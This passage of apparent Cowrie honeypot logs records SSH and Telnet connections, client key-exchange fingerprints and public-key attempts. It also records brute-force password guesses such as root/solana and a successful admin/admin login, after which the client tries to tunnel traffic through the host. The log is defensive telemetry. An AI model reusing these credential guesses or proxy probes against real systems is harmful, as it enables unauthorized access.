ssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:36:07.115566Z","src_ip":"171.231.193.85","session":"c327374b3c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"installer","message":"login attempt [installer/installer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:36:08.319674Z","src_ip":"171.231.193.85","session":"c327374b3c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:36:09.566175Z","src_ip":"171.231.193.85","session":"c327374b3c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":2227,"dst_ip":"10.17.0.5","dst_port":23,"session":"54d8d5a09be2","protocol":"telnet","message":"New connection: 212.55.149.117:2227 (10.17.0.5:23) [session: 54d8d5a09be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:36:11.150039Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50442,"dst_ip":"10.17.0.5","dst_port":22,"session":"7154e0eecc96","protocol":"ssh","message":"New connection: 193.32.162.145:50442 (10.17.0.5:22) [session: 7154e0eecc96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:36:28.496234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:36:28.500356Z","src_ip":"193.32.162.145","session":"7154e0eecc96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:36:28.607434Z","src_ip":"193.32.162.145","session":"7154e0eecc96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sollet","message":"login attempt [sol/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:36:28.945686Z","src_ip":"193.32.162.145","session":"7154e0eecc96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:36:30.052780Z","src_ip":"193.32.162.145","session":"7154e0eecc96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.15661859512329,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:36:45.616596Z","src_ip":"212.55.149.117","session":"91953f95464b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":38712,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5bcf4d626ee","protocol":"ssh","message":"New connection: 2.57.122.210:38712 (10.17.0.5:22) [session: f5bcf4d626ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:09.076835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:09.098563Z","src_ip":"2.57.122.210","session":"f5bcf4d626ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:09.313472Z","src_ip":"2.57.122.210","session":"f5bcf4d626ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solana","message":"login attempt [root/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:10.022166Z","src_ip":"2.57.122.210","session":"f5bcf4d626ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:11.237233Z","src_ip":"2.57.122.210","session":"f5bcf4d626ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.232.11.155","src_port":40934,"dst_ip":"10.17.0.5","dst_port":23,"session":"a65db2c4bdb3","protocol":"telnet","message":"New connection: 122.232.11.155:40934 (10.17.0.5:23) [session: a65db2c4bdb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:19.370133Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7314,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9545de8d358","protocol":"ssh","message":"New connection: 87.251.64.176:7314 (10.17.0.5:22) [session: a9545de8d358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:28.743819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:28.748336Z","src_ip":"87.251.64.176","session":"a9545de8d358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:28.844481Z","src_ip":"87.251.64.176","session":"a9545de8d358","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:29.134241Z","src_ip":"87.251.64.176","session":"a9545de8d358","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:29.233933Z","session":"a9545de8d358","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:29.331733Z","src_ip":"87.251.64.176","session":"a9545de8d358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:29.431364Z","src_ip":"87.251.64.176","session":"a9545de8d358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.287678003311157,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:32.657581Z","src_ip":"122.232.11.155","session":"a65db2c4bdb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00469422340393,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:36.135502Z","src_ip":"212.55.149.117","session":"2f78fabdceec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":12177,"dst_ip":"10.17.0.5","dst_port":23,"session":"21436208f318","protocol":"telnet","message":"New connection: 212.55.149.117:12177 (10.17.0.5:23) [session: 21436208f318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:38.061430Z"}
{"eventid":"cowrie.session.closed","duration":120.0029227733612,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:42.292218Z","src_ip":"212.55.149.117","session":"9b78e9f3b8db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":14527,"dst_ip":"10.17.0.5","dst_port":23,"session":"19a30dbbc97d","protocol":"telnet","message":"New connection: 212.55.149.117:14527 (10.17.0.5:23) [session: 19a30dbbc97d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:46.076541Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":33712,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c82c5ea9b4d","protocol":"ssh","message":"New connection: 116.110.220.181:33712 (159.203.135.109:22) [session: 2c82c5ea9b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.461035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.465869Z","src_ip":"116.110.220.181","session":"2c82c5ea9b4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.250","src_port":49224,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1f5f8d7fc16","protocol":"ssh","message":"New connection: 185.255.100.250:49224 (10.17.0.5:22) [session: f1f5f8d7fc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.732585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.737216Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.744636Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:de:95:78:f2:0d:f6:a8:30:1f:a1:4b:7d:9f:33:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsd8ide3C4DCaH+xyrp9N6utRn6O7p4jvzgfMQRCQoF1157amTZx5g79LcJ/ju30Om8d9xeDgw+oNUj93r9+J2NIKW5nTGynfE+gKdoNE+BPmmaA7/IeuQp+pqZQ4t3HOrheMkujguK6XpXy1PrTi3d0ARaLnQlh9aFluvTzxyZ0BFczWiISJQk/0/6udMSeZWHpBCx+vyy5bckCPucpXcRFpapCHqIaXa/6jvvBtA/pE1KRLZOsxOwcpG5furCx/nBhj2kWvMLSh579AQN5gH/B/Jm3WMp2fOVxIQMH0svb37A6/SUBooOaEbJJ6NfhJ0r4898GBjInRIu1+Y+OD5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:de:95:78:f2:0d:f6:a8:30:1f:a1:4b:7d:9f:33:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.763315Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:de:95:78:f2:0d:f6:a8:30:1f:a1:4b:7d:9f:33:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsd8ide3C4DCaH+xyrp9N6utRn6O7p4jvzgfMQRCQoF1157amTZx5g79LcJ/ju30Om8d9xeDgw+oNUj93r9+J2NIKW5nTGynfE+gKdoNE+BPmmaA7/IeuQp+pqZQ4t3HOrheMkujguK6XpXy1PrTi3d0ARaLnQlh9aFluvTzxyZ0BFczWiISJQk/0/6udMSeZWHpBCx+vyy5bckCPucpXcRFpapCHqIaXa/6jvvBtA/pE1KRLZOsxOwcpG5furCx/nBhj2kWvMLSh579AQN5gH/B/Jm3WMp2fOVxIQMH0svb37A6/SUBooOaEbJJ6NfhJ0r4898GBjInRIu1+Y+OD5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.766811Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:24:0c:21:67:2c:c7:db:eb:e3:ba:3f:49:0c:71:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtkgPKfrmmY3pMKvqSlB/zm35hUkXjZs3MUeQe+ZEsplGXbhyikj2GUKzDDOdl/2z8ZNC2ie/SNbVN8N0GDJbTLRBbbj1Ag+8q1GwWY28dY4kfTS3x1ipfA7mjMGiNoiPOgMyTNBD/e28kihNjDGO5IpmP98UzZViGeDUQNxtlS//1LRaX37Pm+NRQDZUQDg6MVIRYB5FbaVVoLL3Y+vuy/gmvst2bLSvqzsojXAL4B9ZMcm2wPsIqsk0eays+UM3buSEXO2sp/IJY3bs9Rr1eSXjg8TmtDfI4eUEqskZC5ynC0fUTkS1JGzBiPnPt6QSxaCFM4q/XvZyAX9WnABe2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:24:0c:21:67:2c:c7:db:eb:e3:ba:3f:49:0c:71:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.775735Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:24:0c:21:67:2c:c7:db:eb:e3:ba:3f:49:0c:71:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtkgPKfrmmY3pMKvqSlB/zm35hUkXjZs3MUeQe+ZEsplGXbhyikj2GUKzDDOdl/2z8ZNC2ie/SNbVN8N0GDJbTLRBbbj1Ag+8q1GwWY28dY4kfTS3x1ipfA7mjMGiNoiPOgMyTNBD/e28kihNjDGO5IpmP98UzZViGeDUQNxtlS//1LRaX37Pm+NRQDZUQDg6MVIRYB5FbaVVoLL3Y+vuy/gmvst2bLSvqzsojXAL4B9ZMcm2wPsIqsk0eays+UM3buSEXO2sp/IJY3bs9Rr1eSXjg8TmtDfI4eUEqskZC5ynC0fUTkS1JGzBiPnPt6QSxaCFM4q/XvZyAX9WnABe2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.778124Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:de:b4:59:19:af:8e:c5:1b:38:1e:ac:68:14:69:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa4SvjpeL1hUBZTSYZZ8yPXtFxIMnqkl8sVvOlOz9tdGIqQ13Q1oGEanaUeLOqzXXrAAQh/gxvcMsn7lIzIyBWFuG4nggVdNmVye8R5rJgMOYob6rNY2kOyWQ+1vEy1oR5bxFMwvu/CJEaJJnIh4VblubmBoec/hcJjhAeMv9/O1lc2ucFM3Qt1kgMGJo+n9pbfYU847pJiVsdQsekYBDxIlT/Y6QtkuBQDmsHq6a0u14HK2jnFDvqL4g48PR9xHeuD2SyL5t4RNL9X9xUZ+5bAc8YQ7W06LwTCoXtZz7BlE4UR4pgWpbb9m0n15tabL/goLeEmBWXXDmID8utIrlKEQdnAd6c+zyyixFG8zMnwCUvzreVC0AtA3Tas1LQbw1S34jGGVf9HwOTd/u8hbY7TMad20qIkD62hzorJclmDPkZKbkd0xbCnskS/d728TyZLCzigkzrQ8PC8PLSzLyy93rWgR9v0Gp9338P2PAJ9x7HPwNcgDVOIlMbwHIoHl8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:de:b4:59:19:af:8e:c5:1b:38:1e:ac:68:14:69:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:37:51.785419Z","src_ip":"185.255.100.250","session":"f1f5f8d7fc16","protocol":"ssh"}
